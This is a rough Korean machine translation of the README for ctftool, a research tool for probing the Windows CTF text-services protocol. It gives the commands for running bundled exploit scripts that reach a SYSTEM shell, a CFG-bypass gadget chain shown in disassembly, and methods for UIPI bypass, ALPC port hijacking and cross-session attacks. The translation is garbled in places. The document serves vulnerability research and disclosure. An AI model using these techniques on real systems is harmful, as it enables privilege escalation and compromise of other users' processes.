시스템 익스플로잇을 테스트하고 싶습니까? 여기를 클릭하십시오.

이것은 텍스트 서비스를 구현하기 위해 Windows에서 사용되는 약간 알려진 프로토콜 인 CTF를 실험하는 대화식 명령 줄 도구 인 ctftool 입니다. 이는 Windows 내부를 연구하고 텍스트 입력 프로세서로 복잡한 문제를 디버깅하고 Windows 보안 분석에 유용 할 수 있습니다.
CTF 클라이언트 또는 서버와의 상호 작용을 자동화하기 위해 ctftool 과 함께 간단한 스크립트를 작성하거나 간단한 퍼징을 수행 할 수 있습니다.
이 도구의 출시와 함께 제공되는 블로그 게시물이 있습니다.
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool Windows 7, Windows 8 및 Windows 10에서 테스트되었습니다. 32 비트 및 X64 버전은 모두 지원되지만 X64는보다 광범위하게 테스트되었습니다.
대부분의 명령에 대한 온라인 도움말이 있고 간단히 help 입력하여 명령 목록을보고 help <command> . 특정 명령에 대한 자세한 도움을 볼 수 있습니다.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
가장 먼저하고 싶은 것은 세션에 연결하고 어떤 클라이언트가 연결되어 있는지 확인하는 것입니다.
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
그런 다음 서버 또는 연결된 클라이언트에 명령을 전송하여 실험 할 수 있습니다.
직접 구축하고 싶지 않다면 릴리스 탭을 확인하십시오.
GNU Make and Visual Studio 2019를 사용하여 ctftool 개발했습니다. X86 및 X64 Windows에서 도구를 실행할 수 있으므로 32 비트 빌드 만 지원됩니다.
모든 종속성이 설치되면 개발자 명령 프롬프트에서 make 입력하면 충분해야합니다.
Visual Studio의 "빌드 도구"변형을 사용하고 제가 선택한 유일한 구성 요소는 MSVC, MSBuild, Cmake 및 SDK입니다.
이 프로젝트는 일부 종속성에 대한 하위 모듈을 사용합니다. 이와 같은 명령을 사용하여 필요한 모든 코드를 가져 오십시오.
git submodule update --init --recursive
예제는 Windows 10 x64에서만 작동합니다. Windows XP 이후의 모든 플랫폼 및 버전은 영향을받지 만 현재 POC는 구현되지 않습니다.
이 도구는 수십 년 동안 존재했던 CTF 프로토콜에서 많은 중요한 보안 문제를 발견하는 데 사용되었습니다.
Windows 10 x64 1903에서 악용을 테스트하려면 ctftool.exe 실행하거나 두 번 클릭 하고이 명령을 입력하십시오.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
UAC 대화 상자가 나타날 때까지 기다리고 타협하고 쉘을 시작합니다.
실제로, 익스플로잇 코드는 독립적으로 사용할 수있는 두 단계로 나뉩니다. 예를 들어, 선택적 매개 변수를 사용하여 다른 세션에서 사용자에게 속하는 프로세스를 connect 하려는 옵션 매개 변수를 타협 할 수 있습니다.
커널이 Windows를 그려 취약한 라이브러리를로드하는 응용 프로그램을 강제하기 때문에 대부분의 CTF 클라이언트를 손상시킬 수 있습니다.
세션에 연결하고 타협 할 클라이언트를 선택하십시오 ( scan 및 thread 명령 사용 또는 wait ).
ctf> script .scriptsctf-exploit-common-win10.ctf
대부분의 CTF 클라이언트에서 작동하는 CFG 점프 체인을 구축하는 것은 매우 어려운 일이었습니다. 최종 익스플로잇에는 임의의 쓰기 프리미티브와 LoadLibrary() 호출하도록 레지스터를 설정하는 두 가지 주요 구성 요소가 있습니다.
dumpbin /headers /loadconfig사용하여 화이트리스트 지점 대상을 덤프 할 수 있습니다.
예측 가능한 위치에서 객체를 만들려면 임의의 쓰기 가제트가 필요합니다. 내가 찾을 수 있었던 가장 유용한 가제트는 msvcrt!_init_time 의 임의의 dword 감소였습니다.
이것은 우리가 원하는 값을 설정하기보다는 LSB가 원하는 값에 도달 할 때까지 계속 줄어드는 것을 의미합니다. 이것은 많은 작업이지만, 우리는 (2^8 - 1) * len 감소 이상을 할 필요가 없습니다.

이 원시를 사용하여 Kernel32 .data 섹션의 미사용 여유 공간에 이와 같은 객체를 만듭니다. 이미지의 일부 여야하여 이미지 무작위 배정이 Windows에서 부팅 할 수 있으므로 맵핑 될 위치를 예측할 수 있습니다.

물론 많은 임의의 쓰기 가제트가 있었는데,이 문제는 쓰기 후 실행 제어를 회복하는 것이 었습니다. 이것은 상당히 도전적인 것으로 판명되었으며, 이것이 내가 더 간단한 대신 dword 감소에 붙어있는 이유입니다.
MSCTF는 모든 예외를 포착하기 때문에 도전은 스택을 망치지 않는 임의의 글을 찾아서 세가 살아 남았거나 피해를 입지 않고 실제로 빠르게 추락했습니다.
msvcrt!_init_time 가제트는 내가 찾을 수있는 가장 좋은 것이 었습니다. 이것은 우리가 그것을 반복 할 수 있음을 의미합니다.
레지스터 조정에 유용한 두 가지 가제트를 발견했습니다. 첫 번째는 다음과 같습니다.
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
그리고 두 번째는 다음과 같습니다.
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
이 두 가지 가제트를 우리가 형성된 객체와 결합하여 쓰기 가제트와 결합함으로써, 우리는 그것들 사이를 튀어 나와서 kernel32!LoadLibraryA 로 실행을 방향을 바꿀 수 있습니다.
이것은 복잡했지만 점프 시퀀스는 다음과 같이 작동합니다.

관심이 있으시면 디버거에서 시청하는 것이 좋습니다. sxd av 및 sxd bpe 명령을 사용해야합니다. 그렇지 않으면 모든 쓰기마다 디버거가 중지됩니다!
메모리 손상 외에도 CTF에 의해 노출 된 주요 취약점 클래스는 편집 세션 공격 입니다. 일반적으로 비전지가없는 프로세스 (예 : 낮은 무결성)는 높은 권한있는 프로세스에서 입력 또는 읽기 데이터를 보내도록 허용되지 않습니다. 이 보안 경계를 UIPI, 사용자 인터페이스 권한 분리 라고합니다.
CTF는 이러한 가정을 중단하고 비전지가없는 프로세스가 특권 프로세스에 입력을 보낼 수 있도록합니다.
이 공격에 대한 몇 가지 요구 사항이 있습니다. 제가 알고있는 한, 프로세스 외 텍스트 입력 프로세서를 사용하는 디스플레이 언어가 설치된 경우에만 작동합니다. IMES (중국어, 일본어, 한국 등)를 사용하는 입력 언어를 가진 사용자와 A11Y 도구를 가진 사용자는이 범주에 속합니다.
예제 공격에는 ...
스크립트 디렉토리에는 입력을 메모장 창에 보내 세션을 편집하는 방법을 보여주는 예제 스크립트가 있습니다.

CTF 프로토콜의 클라이언트와 서버간에 인증이 없기 때문에 BaseNamedObjects 에 쓸 필요가있는 공격자는 CTF ALPC 포트를 생성하고 모니터 인 척 할 수 있습니다.
이를 통해 모니터가 시행하는 모든 제한 사항을 우회 할 수 있습니다.
이 공격을 실험하려면 ctftool 에서 hijack 명령을 사용해보십시오.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
CTF 프로토콜에는 세션 격리가 없으므로 모든 프로세스는 CTF 서버에 연결할 수 있습니다. 예를 들어, 터미널 서비스 사용자는 다른 사용자, 심지어 관리자의 프로세스와 상호 작용할 수 있습니다.
ctftool 의 connect 명령은이 공격을 실험하려는 경우 비 기본 세션에 연결하는 것을 지원합니다.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
글을 쓰는 시점에서 Microsoft 가이 도구가 노출되는 데 도움이되는 수많은 설계 결함에 대한 응답으로 CTF 프로토콜을 어떻게 변경할 것인지는 알 수 없습니다.
이런 이유로이 도구는 개념 증명 상태에 있다고 생각하십시오.
Windows XP 이후의 모든 버전의 Windows는 모든 지원되는 플랫폼에서 CTF를 사용합니다.
XP까지 기본 시스템의 일부는 아니지만 Windows 98 및 NT4의 초기 버전은 Microsoft Office를 설치 한 경우 CTF를 사용합니다.
ctftool X86 및 X64에서 Windows 7 이상을 지원하지만 이전 버전 및 기타 플랫폼을 지원할 수 있으며 기부금에 감사 할 것입니다.
Microsoft는 CTF가 무엇을 의미하는지 문서화하지 않으며, 텍스트 서비스 문서, SDK 샘플, 기호 이름, 헤더 파일 또는 기타 어느 곳에서도 설명되지 않습니다. 내 이론은 CTextFramework 에서 나온 것입니다. 헝가리 표기법으로 클래스를 지명 할 수 있습니다.
ctfmon명확한 유형 글꼴 또는 Azure Collaborative Translation Framework와 관련이 있다고 주장하는 일부 웹 사이트가 있습니다. 그들은 착각합니다.
업데이트 : Jake Nelson은 "공통 텍스트 프레임 워크"에 대한 증거를 찾습니다.
tavis ormandy [email protected]
모든 원본 코드는 Apache 2.0입니다. 자세한 내용은 라이센스 파일을 참조하십시오.
다음 구성 요소는 제 3 자 프로젝트를 가져옵니다.
GetProcAddress() 구현하는 데 사용됩니다. 이것은 symbol 명령에 사용되며 동일한 바이너리가 x64 및 x86에서 작동하도록합니다.